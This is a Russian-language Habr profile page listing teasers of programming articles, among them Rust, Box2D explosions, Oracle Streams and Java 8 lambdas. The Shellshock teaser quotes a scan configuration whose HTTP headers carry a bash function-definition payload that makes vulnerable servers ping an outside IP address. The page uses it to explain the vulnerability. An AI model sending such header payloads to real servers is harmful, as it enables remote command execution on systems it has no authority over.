Search
Write a publication
Pull to refresh
0
0
Вова @vvsh

User

Send message

Свежий взгляд на Rust

Reading time6 min
Views29K
Я программирую на Rust уже достаточно давно, но на самом деле это не имеет большого значения. Rust настолько динамичен, что стоит отвлечься на пару месяцев, и придётся писать уже на фактически другом языке. Однако одна вещь остаётся неизменной: вектор развития. С каждым обновлением, каждой модификацией язык становится всё лучше и лучше.

Изменениям всё еще не видно конца, но даже сейчас язык уже кажется более стабильным, чем несколько месяцев назад, и начинают появляться некоторые устойчивые шаблоны проектирования API. Я подумал, что настало время исследовать всё это поглубже и решил переписать мою библиотеку для redis.
Читать дальше →

Размышления о принципах проектирования

Reading time6 min
Views20K
Для чего выдумывать все эти паттерны проектирования, принципы и методики? Разве не было бы проще обойтись без всего этого, а просто научить разработчиков хорошему дизайну? Или почему бы не формализовать этот процесс и ввести четкие количественные метрики, которые бы говорили, что одно решение однозначно лучше другого?

«Правильный дизайн» — это святой Грааль молодых разработчиков и молодых менеджеров. И те, и другие мечтают найти ответ на главный вопрос жизни, вселенной и всего такого разработки ПО – как добиться качественного дизайна, в сжатые сроки и с минимумом усилий.

Со временем и молодой разработчик, и молодой менеджер придут к пониманию того, что это невозможно. Невозможно найти идеальный абстрактный дизайн, поскольку слова «идеальный» и «абстрактный» противоречат друг другу. Дизайн – это постоянный поиск компромисса между противоречивыми требованиями: производительностью и читабельностью, простотой и расширяемостью, тестируемостью и цельностью решения.
Читать дальше →

Анонс snowkit

Reading time4 min
Views7.5K
Прошедшие полтора года или около того свое свободное время я провел собирая набор библиотек для Haxe и сообщества вокруг него.
Самой главной библиотекой является игровой движок luxe, который позволяет создавать игры, используя один и тот же код для Mac, Windows, Linux, Android, iOS и WebGL.

На мой взгляд, Haxe — это мощный инструмент, который играет важную роль в кроссплатформенной разработке. Я хочу приложить свои усилия к развитию инфраструктуры Haxe лучшим способом который знаю — делай, а не говори.

image

Дальше - больше!

Как я писал кросплатформенный 3d игровой движок

Reading time18 min
Views81K
Приветствую Хабр! Многие из нас наверняка задумывались «а не написать ли мне игру самому». Сейчас я веду проект «Open tomb» — попытка создать переносимый движок для игры в первые 5 частей «Tomb raider», который выложен на sourceforge.com, однако, судя по своему опыту, многим будет интересна история с некоторыми деталями о том, как движок писался с нуля и с практически отсутствующими знаниями в этой области. Даже сейчас многих знаний не хватает, а иногда просто не хватает мотивации что-то сделать лучше, или правильнее, однако лучше перейти к тому, как все же проект оживал шаг за шагом.
Читать дальше →

Node.js в действии

Reading time3 min
Views27K
Предлагаем начать с Node.js
image

Прототип: Node.js in Action
Publisher:: Manning Publications Co

Основное предназначение книги — научить читателя создавать и развертывать Node-приложения (веб-приложения). Важную часть книги занимает рассмотрение среды разработки веб-приложений Express и среды разработки приложений промежуточного уровня Connect, которые широко применяются при создании приложений и поддерживаются сообществом разработчиков. Вы также научитесь разрабатывать автоматизированные тесты и освоите принципы развертывания приложений. Книга предназначена для опытных разработчиков веб-приложений, которые занимаются созданием чувствительных и масштабируемых Node-приложений.

Читать дальше →

Рисуем графики онлайн

Reading time3 min
Views16K
Началось все с того, что около трех или четырех лет назад я написал на Java собственный парсер и калькулятор математических выражений — jExpressions.

И вот, относительно недавно, в свете осваивания технологии Java EE, возникла идея сделать на основе этого парсера онлайн рисовалку графиков.

Парсер на тот момент обладал довольно экзотическим синтаксисом для вызова функций (напр. exp#3 вместо exp(3); beta#1:2 вместо beta(1,2)).
Также время от времени вылетали баги.

После нескольких часов допиливания и обезглючивания появилась на свет версия jExpressions 1.0.

После этого можно было приступить к делу.

Читать дальше →

JavaScript. Вопросы на собеседовании

Reading time3 min
Views137K
Не так давно озадачился поиском работы, в связи с чем посетил n-нное количество собеседований и услышал много интересных вопросов. По сети гуляет много статей с вопросами по JS, поэтому постараюсь выбрать вопросы, которые ещё не видел. Здесь нет вопросов типа Что такое замыкание?, Наследование в JavaScript или Сделайте ajax запрос на VanillaJS. Кстати советую поискать ответы на эти вопросы, прежде чем читать статью :) Под катом вопросы типа «с подвохом». Вряд ли какой-то из них попадётся вам, но, надеюсь, статья настроит вас на «подвоховое» мышление, и напомнит некоторые скользкие места и подводные камушки javascript.
Читать дальше →

О вычислении матричной экспоненты

Reading time3 min
Views20K
image

При построении и анализе поведения решений систем обыкновенных дифференциальных уравнений иногда требуется определять матричную экспоненту [1]. Классический метод связан с тем, что приходится рассчитывать большие степени матриц. В данном топике рассматривается алгоритм приближенного вычисления матричной экспоненты, который за фиксированное число матричных операций дает результат с заданной точностью. Проведен вычислительный эксперимент с целью анализа эффективности алгоритма.
Читать дальше →

Закон Шнайера

Reading time4 min
Views49K
image

В 1998 году известный американский криптограф Брюс Шнайер написал:
Любой, начиная с самого бестолкового любителя и заканчивая лучшим криптографом, может создать алгоритм, который он сам не в состоянии взломать.

Переформулировка этой цитаты, предложенная журналистом Кори Доктороу в 2004 году, стала известна как Закон Шнайера:
Каждый человек может изобрести систему безопасности, которую он был бы не в силах взломать.

Очень хорошей иллюстрацией к закону Шнайера, на мой взгляд, являются попытки усилить алгоритм шифрования DES.
Читать дальше →

Взрывы в Box2D

Reading time4 min
Views23K
Мой телеграм канал: https://t.me/winc0de.
В этой статье мы рассмотрим несколько видов взрывов в физическом движке Box2D.
Симуляция взрыва сводится к нахождению тел, которые находятся в радиусе действия взрывной волны и применении силы к ним, чтобы отбросить их от центра взрыва.

Мы расмотрим три вида взрывов разной сложности:
  • Нахождение тел в радиусе взрыва
  • Raycast – нахождения тел в радиусе лучей
  • Частицы – распространение многих маленьких тел от эпицентра взрыва

Читать дальше →

Уровни сложности моделирования

Reading time7 min
Views4.6K
Доброго времени чтения, уважаемые участники habrahabr.ru

Данный пост посвящен наблюдению, которое не отображено во встречавшейся автору литературе. Идея заключается в последовательном усложнении моделируемой природы. При этом усложнение можно отобразить с помощью диалектической линии

image

Ниже представлен перечень уровней последовательного усложнения с кратким обоснованием.
Читать дальше →

Настройка двухсторонней синхронизации БД Oracle (Oracle Streams)

Reading time6 min
Views22K


Что делать, если нет дисковой полки под RAC, а отказоустойчивость БД Oracle в реальном времени обеспечить нужно? Настроить потоки данных Oracle (Oracle Streams)!

Про потоки данных написано много. Например, здесь, здесь и здесь, в том числе и в официальной документации. В данной статье описан вариант настроек без использования redo-логов, работающий для редакций Oracle Standard Edition One и Oracle Standard Edition 11gR2 (лицензия на Enterprise позволяет провести настройку проще, прямо в Enterprise Manager Console, см. ограничения).
Читать дальше →

О чём стоит помнить при выборе облака для резервирования

Reading time5 min
Views12K
В век информационных технологий появляется всё больше компаний, для которых данные — их хлеб. Потерять данные для них значит потерять всё. Известны случаи, когда предприниматели и небольшие компании разорялись из-за неверно организованного подхода к резервному копированию. Именно поэтому мы рассказывали и продолжаем рассказывать как нашим пользователям, так и всему сообществу читателей о важности бэкапов и правильного подхода к их созданию и хранению. Сегодня мы хотим немного взглянуть на такой замечательный инструмент резервирования, как облачные технологии, и представить Вашему вниманию несколько достаточно очевидных, но порой забываемых рекомендаций по выбору лучшего облака для Ваших данных и его использованию.

image
Читать дальше →

Пример магии Spring Data JPA Audit и Version

Reading time4 min
Views41K
Пример работы магии Spring Boot, Spring Data JPA и аудита сущностей.

Хотя вся конфигурация будет описана в классах с использованием Java Config, в приложении есть файл application.properties. Используется он потому, что эти настройки Spring Boot подхватывает на самой ранней стадии инициализации, а некоторые дефолтные настройки стоит заменить.

В качестве базы данных будем использовать H2 Database Engine.

По-умолчанию Spring Boot для Spring Data JPA при подключении драйвера базы данных HSQL, H2 или Derby создаёт DataSource с in-memory базой данных и инициализирует её файлами schema.sql и data.sql из ресурсов приложения. Также по умолчанию используется hibernate.hbm2ddl.auto=create-drop, после чего мы получаем девственно чистую базу данных с таблицами, сгенерированными из сущностей. Зачем так сделано — загадка, но эту автогенерацию надо отключить параметром в файле application.properties: spring.jpa.hibernate.ddl-auto=none

Также помимо DataSource Spring Boot любезно создаст и EntityManagerFactory, который найдёт сущности в любом месте приложения.
Читать дальше →

Лямбда-выражения в Java 8

Reading time19 min
Views465K
В новой версии Java 8 наконец-то появились долгожданные лямбда-выражения. Возможно, это самая важная новая возможность последней версии; они позволяют писать быстрее и делают код более ясным, а также открывают дверь в мир функционального программирования. В этой статье я расскажу, как это работает.

Java задумывалась как объектно-ориентированный язык в 90-е годы, когда объектно-ориентированное программирование было главной парадигмой в разработке приложений. Задолго до этого было объектно-ориентированное программирование, были функциональные языки программирования, такие, как Lisp и Scheme, но их преимущества не были оценены за пределами академической среды. В последнее время функциональное программирование сильно выросло в значимости, потому что оно хорошо подходит для параллельного программирования и программирования, основанного на событиях («reactive»). Это не значит, что объектная ориентированность – плохо. Наоборот, вместо этого, выигрышная стратегия – смешивать объектно-ориентированное программирование и функциональное. Это имеет смысл, даже если вам не нужна параллельность. Например, библиотеки коллекций могут получить мощное API, если язык имеет удобный синтаксис для функциональных выражений.

Главным улучшением в Java 8 является добавление поддержки функциональных программных конструкций к его объектно-ориентированной основе.
Читать дальше →

Java ME: Структура мидлета

Reading time4 min
Views7.5K
В данной статье мы подробно разберём один из вариантов построения структуры мидлета. Данный материал будет полезен для начинающих.

Представим себе следующую ситуацию


У нас есть 3 экрана:

  1. Экран «Сплэш» (который будет отображаться первым);
  2. Экран «Меню»;
  3. Экран «Игра».

Для примера я не буду писать 3D игры и меню с анимацией космических боёв, ибо это будет только отвлекать. Каждый из экранов будет выполнять следующие действия:

  • Экран «Сплэш» — выводит на 10 секунд текст «SPLASH»;
  • Экран «Меню» — выводит на 10 секунд текст «MENU»;
  • Экран «Игра» — выводит текст «GAME».

Итак, имея уже эти сведения, для наших экранов можно подобрать общий абстрактный класс, и имя ему — «Screen».

Что общего между всеми экранами?
Читать дальше →

Новая языково-независимая NLP библиотека

Reading time7 min
Views27K

Введение


Каждый, кто пришел в этот мир, проходил через путь познания языка. При этом человек обучается языку отнюдь не по правилам или грамматике. Даже, более того, каждый человек, будучи еще ребенком, сначала учит такое странное явление как язык, а уже позднее, с возрастом, начинает учить его правила (в садике и школе). Это объясняет забавный факт, каждый, кто изучает иностранный язык в зрелом возрасте, когда он уже менее склонен к изучению новых языков, знает о предмете своего изучения больше, чем большинство носителей этого языка.

Это простое наблюдение дает возможность предполагать, что для понимания языка вовсе не нужно иметь знания о нем. Достаточно лишь эмпирии (опыта), который можно почерпнуть от окружающих. Но именно об этом забывают практически все современные НЛП библиотеки, пытаясь построить все-обемлящую языковую модель.

Для более четкого понимания представьте себя слепым и глухим. И, даже родись в таком состоянии, вы бы могли взаимодействовать с миром и освоить язык. Само собой, что ваше представление о мире было бы иным, нежели у всех вокруг. Но вы могли бы все таким же образом взаимодействовать с миром. Некому бы было объяснить Вам что происходит и что такое язык ив се же, как то, тактильно анализирую шрифт Брайля Вы бы понемного сдвинулись с мертвой точки.

А это значит, что для понимания сообщения на каком-либо языке нам не нужно ничего, кроме самого сообщения. При условии, что это сообщение достаточно большое. Именно эта идея и положена в основу библиотеки под названием AIF. За деталями прошу пожаловать под кат.
Читать дальше →

Всё, что вы хотели знать об уязвимости Shellshock (но боялись спросить)

Reading time9 min
Views135K
Помните Heartbleed? Shellshock можно отнести к той же «весовой категории», с таким же стильным названием, хоть и без классного логотипа (кому-то из департамента маркетинга этой уязвимости надо бы этим заняться). Но у Shellshock есть потенциал стать не менее важной птицей, чем Heartbleed. И сейчас я хотел бы собрать воедино всю необходимую информацию, которая поможет всем желающим справиться с ситуацией и избежать возможных проблем из-за неочевидной, на первый взгляд, угрозы.

Для начала позвольте поделиться с вами некоторой информацией из блога Роберта Грэма, который провёл превосходный анализ уязвимости. Рассмотрим представленный ниже HTTP-запрос:

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

Если его применить к диапазону уязвимых IP, то получим такой результат:



Проще говоря, Роберт заставил кучу удалённых машин пинговать его, просто отправив в сеть специально сформированный запрос. Беспокойство вызывает тот факт, что он заставил эти машины выполнить произвольную команду (в данном случае безобидный ping), что открывает широчайшие возможности.
Читать дальше →

Зачем выступать на айтишных конференциях и митапах?

Reading time7 min
Views25K
С осенью нас, коллеги. Летняя спячка подошла к концу, и осень начала радовать нас айтишными выставками, анонсами и конференциями разных форм и размеров. Последние несколько лет я плотно занимаюсь хакатонами и конференциями и очень часто слышу вопросы об аудитории и докладчиках — зачем все эти люди собираются, что они хотят друг от друга и какая практическая польза кроме пиццы? В рамках этого поста я собрал немного информации по предмету и мои собственные наблюдения, как проще всего подготовить и провести выступление на айтишной конференции или митапе. Под катом — мои ответы на странные вопросы и несколько практических приемов, накопленных за годы борьбы с ленью и здравым смыслом.
Читать дальше →

Information

Rating
Does not participate
Location
Минск, Минская обл., Беларусь
Date of birth
Registered
Activity